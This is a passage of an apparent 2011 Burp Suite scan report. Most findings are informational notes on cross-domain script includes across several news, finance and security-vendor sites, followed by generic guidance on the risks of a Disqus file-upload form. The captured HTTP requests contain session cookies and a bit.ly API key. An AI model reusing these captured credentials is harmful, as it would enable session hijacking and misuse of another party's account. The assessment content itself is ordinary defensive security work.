Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 17549

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...

20.77. http://www.fins.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fins.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.microsoft.com/ajax/jquery/jquery-1.4.4.min.js
http://www.googleadservices.com/pagead/conversion.js

Request

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
Set-Cookie: ASP.NET_SessionId=e5zagi55hhe0fo55do5b43n2; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:12:56 GMT
Content-Length: 62974

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><meta http-equiv="con
...[SNIP]...
</link>

<script type="text/javascript" src="http://ajax.microsoft.com/ajax/jquery/jquery-1.4.4.min.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

20.78. http://www.fins.com/Job-Interview-Tips previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fins.com
Path:	/Job-Interview-Tips

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.microsoft.com/ajax/jquery/jquery-1.4.4.min.js
http://www.googleadservices.com/pagead/conversion.js

Request

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:19:33 GMT
Content-Length: 42486

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><meta http-equiv="con
...[SNIP]...
</link>

<script type="text/javascript" src="http://ajax.microsoft.com/ajax/jquery/jquery-1.4.4.min.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

20.79. http://www.fins.com/Tour.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fins.com
Path:	/Tour.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.microsoft.com/ajax/jquery/jquery-1.4.4.min.js
http://www.googleadservices.com/pagead/conversion.js

Request

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:34:03 GMT
Content-Length: 40184

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><meta http-equiv="con
...[SNIP]...
</link>

<script type="text/javascript" src="http://ajax.microsoft.com/ajax/jquery/jquery-1.4.4.min.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

20.80. http://www.marketwatch.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.doubleclick.net/adj/marketwatch.com/brokerdock;u=%5e%5e;sz=230x25;tile=1;ord=1820011674?
http://ad.doubleclick.net/adj/marketwatch.com/frontpage;u=%5e%5e;sz=300x250,336x280;tile=6;ord=1820011674?
http://adsyndication.msn.com/delivery/getads.js
http://c.wsj.net/dynamic/hat/hatloader3.js
http://js.revsci.net/gateway/gw.js?csid=G07608

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 3.0
X-AspNet-Version: 4.0.30319
Set-Cookie: mw5_prefs=mox=False&exp=5/14/2013; domain=.marketwatch.com; expires=Tue, 14-May-2013 05:00:00 GMT; path=/
Set-Cookie: mw5_ads=seen=16; domain=.marketwatch.com; expires=Sun, 15-May-2011 04:59:59 GMT; path=/
X-Powered-By: ASP.NET
X-MACHINE: secdfpswebp04
Date: Sat, 14 May 2011 10:12:49 GMT
Content-Length: 244138

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
</script>

<script type="text/javascript" src="http://c.wsj.net/dynamic/hat/hatloader3.js"></script>
...[SNIP]...
</script>
   <script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js"></script>
...[SNIP]...
<div id="ad_DisplayAd1" class="advertisement ">


               <script src="http://ad.doubleclick.net/adj/marketwatch.com/frontpage;u=%5e%5e;sz=300x250,336x280;tile=6;ord=1820011674?" type="text/javascript"></script>
...[SNIP]...
<div id="ad_DockingbarExpandable" class="advertisement ">


               <script src="http://ad.doubleclick.net/adj/marketwatch.com/brokerdock;u=%5e%5e;sz=230x25;tile=1;ord=1820011674?" type="text/javascript"></script>
...[SNIP]...

       <script type="text/javascript" src="http://js.revsci.net/gateway/gw.js?csid=G07608"></script>
...[SNIP]...

20.81. http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.doubleclick.net/adj/marketwatch.com/brokerdock;s=8_10001;u=%5e%5elA;biz=1053;sz=230x25;tile=1;ord=1627379692?
http://adsyndication.msn.com/delivery/getads.js
http://bit.ly/javascript-api.js?version=latest&login=marketwatch&apiKey=R_5ce3cdceeff9ce2514fc6a4f9ccfdea8
http://c.wsj.net/dynamic/hat/hatloader3.js
http://js.revsci.net/gateway/gw.js?csid=G07608
http://stags.peer39.net/712/trg_712.js

Request

GET /story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A3%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Article_Futures%252520Movers_53B5F46A-7D06-11E0-915A-00212804637C%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13%25253Flink%25253DMW_story_in%2526ot%253DA

Response

20.82. http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.doubleclick.net/adj/marketwatch.com/brokerdock;s=8_10001;u=%5e%5elA;biz=1053;sz=230x25;tile=1;ord=698111855?
http://adsyndication.msn.com/delivery/getads.js
http://bit.ly/javascript-api.js?version=latest&login=marketwatch&apiKey=R_5ce3cdceeff9ce2514fc6a4f9ccfdea8
http://c.wsj.net/dynamic/hat/hatloader3.js
http://js.revsci.net/gateway/gw.js?csid=G07608
http://stags.peer39.net/712/trg_712.js

Request

GET /story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://traffic.outbrain.com/network/redir?key=f465737d830a35fc698cafafb4ce7caf&rdid=205292719&type=IMD_def_prd&in-site=true&req_id=cd9a83f96a2d455991d95bc48290df11&agent=blog_JS_rec&recMode=3&reqType=1&wid=102&imgType=0&version=37740&idx=3
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A4%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

20.83. http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.doubleclick.net/adj/marketwatch.com/brokerdock;u=%5e%5e;biz=1053;sz=230x25;tile=1;ord=1242115728?
http://adsyndication.msn.com/delivery/getads.js
http://bit.ly/javascript-api.js?version=latest&login=marketwatch&apiKey=R_5ce3cdceeff9ce2514fc6a4f9ccfdea8
http://c.wsj.net/dynamic/hat/hatloader3.js
http://js.revsci.net/gateway/gw.js?csid=G07608
http://stags.peer39.net/712/trg_712.js

Request

GET /story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_c=w%3A1%7Cb%3A2%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_cc=true; s_vnum=1307959980006%26vn%3D1; refresh=off; rsi_csl=; rsi_segs=; BIZO=biz=1053&; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=5ajmklnz4cfcjqcr4fa2sbtf; path=/; HttpOnly
X-AspNetMvc-Version: 3.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
X-MACHINE: sbkdedtwebp05
Date: Sat, 14 May 2011 10:24:38 GMT
Content-Length: 133210

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
</script>

<script type="text/javascript" src="http://c.wsj.net/dynamic/hat/hatloader3.js"></script>
...[SNIP]...
<link rel="stylesheet" href="http://i1.marketwatch.com/MW5/content/business/css/marketwatch.member.css?stop=it" type="text/css"/>
       <script type="text/javascript" src="http://stags.peer39.net/712/trg_712.js"></script>
...[SNIP]...
</script>
   <script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js"></script>
...[SNIP]...
<div id="ad_DockingbarExpandable" class="advertisement ">


               <script src="http://ad.doubleclick.net/adj/marketwatch.com/brokerdock;u=%5e%5e;biz=1053;sz=230x25;tile=1;ord=1242115728?" type="text/javascript"></script>
...[SNIP]...

       <script type="text/javascript" src="http://js.revsci.net/gateway/gw.js?csid=G07608"></script>
...[SNIP]...
</script>
   <script type="text/javascript" charset="utf-8" src="http://bit.ly/javascript-api.js?version=latest&login=marketwatch&apiKey=R_5ce3cdceeff9ce2514fc6a4f9ccfdea8"></script>
...[SNIP]...

20.84. http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.doubleclick.net/adj/marketwatch.com/brokerdock;s=8_10001;u=%5e%5elA;biz=1053;sz=230x25;tile=1;ord=1338431719?
http://adsyndication.msn.com/delivery/getads.js
http://bit.ly/javascript-api.js?version=latest&login=marketwatch&apiKey=R_5ce3cdceeff9ce2514fc6a4f9ccfdea8
http://c.wsj.net/dynamic/hat/hatloader3.js
http://js.revsci.net/gateway/gw.js?csid=G07608
http://stags.peer39.net/712/trg_712.js

Request

GET /story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; ASP.NET_SessionId=rlczdeltlowzmo0hyz2n0e1s; __g_c=w%3A1%7Cb%3A9%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0

Response

20.85. http://www.mcafeesecure.com/RatingVerify previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mcafeesecure.com
Path:	/RatingVerify

Issue detail

The response dynamically includes the following script from another domain:

http://server.iad.liveperson.net/hc/10599399/x.js?cmd=file&file=chatScript3&site=10599399&imageUrl=http://images.scanalert.com/images/liveperson/set03

Request

Response

20.86. http://www.mcafeesecure.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mcafeesecure.com
Path:	/favicon.ico

Issue detail

The response dynamically includes the following script from another domain:

http://images.scanalert.com/include/public.js

Request

GET /favicon.ico HTTP/1.1
Host: www.mcafeesecure.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: resin=1724539402.20480.0000; __utmx=185732405.; __utmxx=185732405.; __utmz=185732405.1305377534.1.1.utmcsr=server.iad.liveperson.net|utmccn=(referral)|utmcmd=referral|utmcct=/hcp/integration/hackersafe/hackersafe-grey.html; __utma=185732405.396205410.1305377534.1305377534.1305377534.1; __utmc=185732405; __utmb=185732405.3.10.1305377534

Response

HTTP/1.1 404 Not Found
Server: McAfeeSecure
Vary: Accept-Encoding
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Connection: close
Date: Sat, 14 May 2011 12:52:18 GMT
Content-Length: 9892

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<title>Secure
...[SNIP]...
</script>-->
<script type="text/javascript" src="//images.scanalert.com/include/public.js"></script>
...[SNIP]...

20.87. http://www.mcafeesecure.com/us/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mcafeesecure.com
Path:	/us/

Issue detail

The response dynamically includes the following script from another domain:

http://images.scanalert.com/include/public.js

Request

Response

20.88. http://www.mcafeesecure.com/us/products/buy_now.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mcafeesecure.com
Path:	/us/products/buy_now.jsp

Issue detail

The response dynamically includes the following script from another domain:

http://images.scanalert.com/include/public.js

Request

Response

20.89. http://www.mcafeesecure.com/us/products/mcafee_secure.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mcafeesecure.com
Path:	/us/products/mcafee_secure.jsp

Issue detail

The response dynamically includes the following script from another domain:

http://images.scanalert.com/include/public.js

Request

Response

20.90. https://www.mcafeesecure.com/SignUp.sa previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.mcafeesecure.com
Path:	/SignUp.sa

Issue detail

The response dynamically includes the following script from another domain:

https://images.scanalert.com/include/public.js

Request

Response

20.91. https://www.mcafeesecure.com/us/products/buy_now.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.mcafeesecure.com
Path:	/us/products/buy_now.jsp

Issue detail

The response dynamically includes the following script from another domain:

https://images.scanalert.com/include/public.js

Request

Response

20.92. https://www.mcafeesecure.com/us/resources/resource.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.mcafeesecure.com
Path:	/us/resources/resource.jsp

Issue detail

The response dynamically includes the following script from another domain:

https://images.scanalert.com/include/public.js

Request

Response

20.93. http://www.midphase.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.midphase.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://js6.ringrevenue.com/6/integration.js

Request

GET / HTTP/1.1
Host: www.midphase.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:51:52 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_bwlimited/1.4 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 14244

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-
...[SNIP]...

<script src="//js6.ringrevenue.com/6/integration.js"></script>
...[SNIP]...

20.94. http://www.siteadvisor.com/download/windows.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.siteadvisor.com
Path:	/download/windows.html

Issue detail

The response dynamically includes the following script from another domain:

http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php/en_US

Request

GET /download/windows.html HTTP/1.1
Host: www.siteadvisor.com
Proxy-Connection: keep-alive
Referer: http://www.siteadvisor.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; s_nr=1305377659972-New; s_sq=mcafeecomglobal%3D%2526pid%253Dsiteadvisor%25253Aen-us%25253Ahome%2526pidt%253D1%2526oid%253Dhttp%25253A//www.siteadvisor.com/download/windows.html%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:54:18 GMT
Server: Apache
Content-Type: text/html; charset=utf-8
Content-Length: 40225

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>

...[SNIP]...
<div style="padding-top:10px">
<script type="text/javascript" src="http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php/en_US"></script>
...[SNIP]...

20.95. http://www.smartmoney.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.smartmoney.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://adsyndication.msn.com/delivery/getads.js
http://c.wsj.net/static/hat/hat3.js

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:13:34 GMT
Server: Apache/2.2.3 (Red Hat)
X-DEBUG-BOX-IDENT: sbkj2ksmwap03
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.5-2-x64
X-DEBUG-REQUEST: /
X-DEBUG-NAMESPACE: com-sm
Set-Cookie: djcs_route=02fb002c-b936-4695-85ac-26f056fb68c4; domain=.smartmoney.com; path=/; Expires=Tue May 11 06:13:34 2021; max-age=315360000
FastDynaPage-ServerInfo: sbkj2ksmwap03 - Sat 05/14/11 - 06:03:15 EDT
Last-Modified: Sat, 14 May 2011 10:03:15 GMT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:13:49 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Length: 105161
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.faceboo
...[SNIP]...
</script>

<script type="text/javascript" src="http://c.wsj.net/static/hat/hat3.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js">
</script>
...[SNIP]...

20.96. http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.smartmoney.com
Path:	/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/

Issue detail

The response dynamically includes the following scripts from other domains:

http://adsyndication.msn.com/delivery/getads.js
http://c.wsj.net/static/hat/hat3.js
http://embed.onespot.com/javascripts/nextclick/smartmoney/builder.min.js

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:19:26 GMT
Server: Apache/2.2.3 (Red Hat)
X-DEBUG-BOX-IDENT: sbkj2ksmwap03
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.5-2-x64
X-DEBUG-REQUEST: /invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
X-DEBUG-NAMESPACE: com-sm
FastDynaPage-ServerInfo: sbkj2ksmwap03 - Sat 05/14/11 - 00:30:32 EDT
Last-Modified: Sat, 14 May 2011 04:30:32 GMT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:19:41 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Length: 82155
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.faceboo
...[SNIP]...
</script>

<script type="text/javascript" src="http://c.wsj.net/static/hat/hat3.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://embed.onespot.com/javascripts/nextclick/smartmoney/builder.min.js"></script>
...[SNIP]...

20.97. http://www.smartmoney.com/static_html_files/smartmoney/smIntro.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.smartmoney.com
Path:	/static_html_files/smartmoney/smIntro.html

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js

Request

Response

21. File upload functionality previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mediacdn.disqus.com
Path:	/1305332303/build/system/upload.html

Issue detail

The page contains a form which is used to submit a user-supplied file to the following URL:

http://mediacdn.disqus.com/1305332303/build/system/upload.html

Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.

Issue background

File upload functionality is commonly associated with a number of vulnerabilities, including:

File path traversal
Persistent cross-site scripting
Placing of other client-executable code into the domain
Transmission of viruses and other malware
Denial of service

You should review the file upload functionality to understand its purpose, and establish whether uploaded content is ever returned to other application users, either through their normal usage of the application or by being fed a specific link by an attacker.

Some factors to consider when evaluating the security impact of this functionality include:

Whether uploaded content can subsequently be downloaded via a URL within the application.
What Content-type and Content-disposition headers the application returns when the file's content is downloaded.
Whether it is possible to place executable HTML/JavaScript into the file, which executes when the file's contents are viewed.
Whether the application performs any filtering on the file extension or MIME type of the uploaded file.
Whether it is possible to construct a hybrid file containing both executable and non-executable content, to bypass any content filters - for example, a file containing both a GIF image and a Java archive (known as a GIFAR file).
What location is used to store uploaded content, and whether it is possible to supply a crafted filename to escape from this location.
Whether archive formats such as ZIP are unpacked by the application.
How the application handles attempts to upload very large files, or decompression bomb files.

Issue remediation

File upload functionality is not straightforward to implement securely. Some recommendations to consider in the design of this functionality include:

Use a server-generated filename if storing uploaded files on disk.
Inspect the content of uploaded files, and enforce a whitelist of accepted, non-executable content types. Additionally, enforce a blacklist of common executable formats, to hinder hybrid file attacks.
Enforce a whitelist of accepted, non-executable file extensions.
If uploaded files are downloaded by users, supply an accurate non-generic Content-type header, and also a Content-disposition header which specifies that browsers should handle the file as an attachment.
Enforce a size limit on uploaded files (for defence-in-depth, this can be implemented both within application code and in the web server's configuration.
Reject attempts to upload archive formats such as ZIP.

Request

GET /1305332303/build/system/upload.html HTTP/1.1
Host: mediacdn.disqus.com
Proxy-Connection: keep-alive
Referer: http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/
